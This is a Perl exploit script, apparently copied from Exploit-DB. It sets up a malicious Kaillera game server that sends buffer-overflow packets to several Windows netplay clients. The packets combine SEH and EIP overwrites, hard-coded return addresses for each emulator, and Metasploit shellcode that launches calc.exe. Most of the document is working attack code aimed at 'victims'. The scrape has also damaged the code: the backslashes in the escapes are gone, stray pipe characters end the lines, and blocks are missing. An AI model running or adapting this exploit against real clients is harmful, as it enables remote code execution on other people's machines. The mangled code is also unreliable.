#!/usr/bin/perl
# Exploit Title: Remote Buffer Overflows in Kaillera clients |
# Software Link: Multiple: |
# 1. Kaillera original client: An emulator to download with this client bundled with it is Project64K 0.13: http://www.zophar.net/download_file/1907 |
# 2. Supraclient 0.85.2 CPPE : This client can be found here: http://morphus56k.110mb.com/website/downloads/SupraclientCPPE_v0.85.2.zip |
# 3. Open Kaillera p2p client: http://sourceforge.net/projects/okai/files/Client/n02.p2p%20v0/n02.P2P.v0r6.client.v0.5r0.zip/download |
# Version: Multiple-see below |
# Tested on: Windows XP, Windows 7 |
#This script acts as a Kaillera server in order to exploit various Kaillera clients. |
#Kaillera facilitates playing emulator games over a network. |
#The Kaillera protocol is built on top of UDP and is mostly documented here: http://www.emulinker.com/index.php?page=Documentation&help=true |
#Kaillera clients implement this protocol, and many of them have serious vulnerabilities in their code. |
#This server is capable of exploiting buffer overflows in the following clients: |
#Exploit tested against Windows 7 and XP machines, gets around ASLR (modules don't have it loaded). |
#Note: If you wish to exploit the same client twice, you will need to restart the server. |
#To reproduce the bugs shown here: |
#1. Download the Kaillera client you wish to test bug on. |
#2. Download emulator capable of Kaillera netplay, or one which this script targets (Mame32k, and so forth). |
#3. Overwrite existing kailleraclient.dll with the one you wish to exploit (Supraclient, open kaillera, original client). |
#4. Look for something that says netplay or Kaillera, and select it. In each emulator its different, for instance in Project64K go to File > Start Netplay. |
#5. Run this server and connect to the IP its hosted on with the kaillera client. |
#Greetz to: Blindgeek and jediknight304 for much help with this script, corelanc0d3r for |
#awesome tutorials on buffer overflows, and Requiem for help with fixing security bugs in Kaillera clients. |
#DISCLAIMER: I'm not responsible for how you use this code. |
#By running this code, you agree to accept responsibility for how you use it and you agree to not hold me responsible for any problems arising from running this code. |
#Final Note: For more information on Kaillera vulnerabilities and remediation information, check out http://kaillerahacks.blogspot.com/. |
use subs qw(sendmessage help); |
### Shellcode- spawn calc.exe from Metasploit Framework - ### |
"x31xc9xddxc5xb8xe6xd8x80xa4xb1x33xd9x74x24" . |
"xf4x5ax31x42x16x83xeaxfcx03x42xf4x3ax75x58" . |
"x10x33x76xa1xe0x24xfex44xd1x76x64x0cx43x47" . |
"xeex40x6fx2cxa2x70xe4x40x6bx76x4dxeex4dxb9" . |
"x4exdex51x15x8cx40x2ex64xc0xa2x0fxa7x15xa2" . |
"x48xdaxd5xf6x01x90x47xe7x26xe4x5bx06xe9x62" . |
"xe3x70x8cxb5x97xcax8fxe5x07x40xc7x1dx2cx0e" . |
"xf8x1cxe1x4cxc4x57x8exa7xbex69x46xf6x3fx58" . |
"xa6x55x7ex54x2bxa7x46x53xd3xd2xbcxa7x6exe5" . |
"x06xd5xb4x60x9bx7dx3fxd2x7fx7fxecx85xf4x73" . |
"x59xc1x53x90x5cx06xe8xacxd5xa9x3fx25xadx8d" . |
"x9bx6dx76xafxbaxcbxd9xd0xddxb4x86x74x95x57" . |
"xd3x0fxf4x3dx22x9dx82x7bx24x9dx8cx2bx4cxac" . |
"x07xa4x0bx31xc2x80xe3x7bx4fxa0x6bx22x05xf0" . |
"xf6xd5xf3x37x0ex56xf6xc7xf5x46x73xcdxb2xc0" . |
"x6fxbfxabxa4x8fx6cxccxecxf3xf3x5ex6cxdax96" . |
########Variables############## |
my $adjust = "x81xc4x54xf2xffxff" ; # add esp, -3500 adjusts the stack |
my $ack = "x05x00x00x00x00x00x01x00x00x00x02x00x00x00x03x00x00x00" ; #ACK packet in Kaillera protocol, see docs |
my $ServerStatus = "x04" . "x00" x 9; # No other users shown in server. |
my $oldjunk = "A" x 92; #For exploiting old Kaillera client username BOF. |
my $junk = "A" x 2082; #For exploiting P2P Kaillera client |
my $suprajunk = "A" x 2048; #Supraclient junk |
my $MOTDHeader = "x17" . "Server " ; |
my $MOTDMessage = "Hello, Welcome to the Server " ; |
my $nseh = "xebx06x90x90" ; #short jmp for SEH exploits |
my %inc ; #increments a counter per client connected to us, each time a message is sent |
my ( $port , $ip , $help , $target , $listtarget , $listemu , $emu , $delay , $debug ); |
if ( defined $listtarget ) { |
print "rn=========Pick a version of Kaillera to attack :) ========rnrn" ; |
print "1. Kaillera 0.9/Anti3d -t old rnrnPick emulator to target with -emu flag: mame32k, snes, mupenrnrn" ; |
print "2. SupraclientCPPE 0.85.2 -t supra:rnrnPick emulator to target with -emu flag: mame32, mupenrnrn" ; |
print "3. Open Kaillera n02v0r6 -t p2p (Universal Exploit)rn" ; |
print "rn=========Specific versions of emulators being attacked :) ============" . "rnrn" ; |
print "Mame32k 0.64 -emu mame32krnrn" ; |
print "Mame32++ 0.117 -emu mame32rnrn" ; |
print "Mupen64k 0.7.9 -emu mupenrnrn" ; |
print "Snes9k 0.09 -emu snesrn" ; |
help() if ( $help or not defined $ip or not defined $target ); |
#Note: add new targets like this, but make sure to use $variable when redefining, not "my $variablename" or it wont work from earlier scope. |
#Also, note that target "old" uses SEH-based overflow while target "supra" uses EIP overwrite. |
print "rnPick an emulator to target, this exploit isn't universalrn" ; |
print "rnTargetting Mame32k 0.64 running with Kaillera client 0.9...rn" ; |
$seh = pack ( 'V' ,0x010B3A06); # #pop ebx - pop esi - ret at 0x010B3A06 [mame32k.exe] |
print "rnTargetting Snes9k 0.09 running with Kaillera client 0.9...rn" ; |
$seh = pack ( 'V' ,0x10018ECD); # pop ebx - pop ecx - ret at 0x10018ECD [sdl.dll] |
elsif ( $emu eq "mupen" ) { |
print "rnTargetting Mupen64k 0.7.9 running with Kaillera client 0.9...rn" ; |
$seh = pack ( 'V' , 0x67F46FEF); #pop edi - pop ebp - ret at 0x67F46FEF [mupen64_rsp_hle.dll]. |
print "rnPick a valid emulator to target: -emus to list emulators rn" ; |
elsif ( $target eq "p2p" ) { |
print "rnTargetting P2P Client (Universal exploit)...rn" ; |
print "rnUniversal exploit, no emu necessary...rn" ; |
elsif ( $target eq "supra" ) { |
print "rnPick an emulator to target, this exploit isn't universalrn" ; |
print "rnTargetting Mame32++ 0.117 running with Supraclient...rn" ; |
$eip = pack ( 'V' , 0x01C01104); #jmp esp in mameppkgui.exe |
elsif ( $emu eq "mupen" ) { |
print "rnTargetting Mupen64k 0.7.9 running with Supraclient...rn" ; |
$eip = pack ( 'V' , 0x10021C16); #jmp esp at 0x10021C16 [aziaudio.dll] |
print "rnPick a valid target, try -targets if you're lost.rn" ; |
my $hello = "HELLOD00D$port " ; |
#Open a new socket, start an infinite loop receiving messages from clients |
my $sock = IO:: Socket ::INET->new(Proto=> 'udp' , LocalPort=> $port ) or die "Error opening $ip:$port rn$!" ; |
print "Evil Kaillera Server Started on $ip:$port, waiting for victims :Drn" ; |
my $MAX_MESSAGE_LENGTH =5000; |
$sock -> recv ( $msg_in , $MAX_MESSAGE_LENGTH ); |
my $packet = unpack 'H*' , $msg_in ; |
print "Packet found: $packetn" ; |
my $peerhost = $sock ->peeraddr; |
my $peerport = $sock ->peerport; |
#Check for client hello, send server hello |
if ( $msg_in =~ m/HELLO0.83/) { |
print "Sending Hello...n" ; |
#Since we're using an IF loop for username detection, the scope needs to be over everything else, |
#because local machine processes data faster than incoming network data. |
#Otherwise, username won't be detected until AFTER ServerAnnouncement is sent and it wont work. |
if ( $msg_in =~ m/x03(.*?x00)/){ |
my $ServerAnnounce = "x02" . $username . substr (md5( $username ),0,2) . "x00" x 4 . "x01" ; #Not Complete yet |
if ( $packet =~m/.{10}03/) { |
print "Username $username foundrn" . "Sending ACKs to client...rn" ; |
sendpacket( $sock , $ack ) for (1..3); |
sendpacket( $sock , $ServerStatus ); |
print "Sending ServerStatus...rn" ; |
sendpacket( $sock , $ServerAnnounce ); |
print "Attacking p2p client...rn" ; |
$eip = pack ( 'V' ,0x100123F3); # call esp in kailleraclient.dll, universal |
sendpacket( $sock , $MOTDHeader . $junk . $eip . $sc ); |
print "Sending MOTD payload to P2PClient...n" ; |
if ( $target eq "supra" ) { |
print "Sending MOTD payload to Supraclientrn" ; |
sendpacket( $sock , $MOTDHeader . $suprajunk . $eip . $adjust . $sc ); |
print "Sending Announce, MOTD to old kaillera client...rn" ; |
sendpacket( $sock , $MOTDHeader . $MOTDMessage ); |
my $ServerExploit = "x02" . $oldjunk . $nseh . $seh . $sc ; |
print "Sending ServerStatus payload to 0.9 client...rn" ; |
sendpacket( $sock , $ServerExploit ); |
########### FUNCTIONS ##################### |
print "rnUsage: $0 -port=1111 -ip=1.1.1.1 -t=supra -emu=mame32 -targets -emus -delay 10 -debug -helpn" ; |
#This sendmessage function takes a message and an ip, and sends it nicely - thanks jediknight304 |
#sendpacket($socket, $message, $anothermessage); |
bless $sock , "IO::Socket::INET" ; |
my $numberofmessages = @messages ; |
my $messagesbyte = pack ( 'c' , $numberofmessages ); #how many messages are in our packet |
#each client has to have an incrementing packet number |
my $header = pack ( 'v' , $inc {$ $sock ->peeraddr}++) . pack ( 'v' , length ( $_ )); |
$ $sock -> send ( $messagesbyte . $packet ) or die "Couldn't send:n$packetn$!" ; |
}
Fonte: http://www.exploit-db.com/exploits/17460/